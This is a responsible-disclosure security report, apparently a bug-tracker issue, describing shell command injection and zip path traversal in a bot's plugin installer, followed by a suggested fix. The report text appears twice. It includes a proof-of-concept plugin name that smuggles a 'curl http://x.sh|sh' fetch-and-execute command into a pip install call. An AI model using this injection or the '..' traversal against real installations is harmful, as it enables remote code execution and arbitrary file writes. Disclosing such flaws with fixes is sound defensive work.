Security report (responsible disclosure)
Plugin installer: OS command injection via registry/name strings + unrestricted zip write
Affected: cogs/plugins.py:91 (no charset restrictions), :237-243 (shell sink), :216-224 (zip extraction)
m = match(r"^(.+?)/(.+?)/(.+?)(?:@(.+?))?$", s) # name/user/repo/branch accept anything
...
proc = await asyncio.create_subprocess_shell(
f'"{sys.executable}" -m pip install --upgrade{user_install} -r {req_txt} -q -q',
req_txt = plugin.abs_path / "requirements.txt" where abs_path embeds the raw name. {prefix}plugin add evil/trustme/foo"; curl http://x.sh|sh;" executes attacker text as shell during load. Registry-sourced installs additionally take plugin_name from remote registry JSON (:301-318 via :136). Secondary: zip extraction trusts entry paths when path.parts[1] == plugin.name; setting name='..' escapes the plugins directory (arbitrary file write).
Requires OWNER to trigger directly, but is supply-chain relevant through registry names.
Suggested fix
Use subprocess argv lists (no shell); whitelist [A-Za-z0-9._-] for user/repo/name/branch; reject zip entries resolving outside abs_path.resolve().
Security report (responsible disclosure)
Plugin installer: OS command injection via registry/name strings + unrestricted zip write
Affected:
cogs/plugins.py:91(no charset restrictions),:237-243(shell sink),:216-224(zip extraction)req_txt = plugin.abs_path / "requirements.txt"whereabs_pathembeds the raw name.{prefix}plugin add evil/trustme/foo"; curl http://x.sh|sh;"executes attacker text as shell during load. Registry-sourced installs additionally takeplugin_namefrom remote registry JSON (:301-318 via :136). Secondary: zip extraction trusts entry paths whenpath.parts[1] == plugin.name; settingname='..'escapes the plugins directory (arbitrary file write).Requires OWNER to trigger directly, but is supply-chain relevant through registry names.
Suggested fix
Use subprocess argv lists (no shell); whitelist
[A-Za-z0-9._-]for user/repo/name/branch; reject zip entries resolving outsideabs_path.resolve().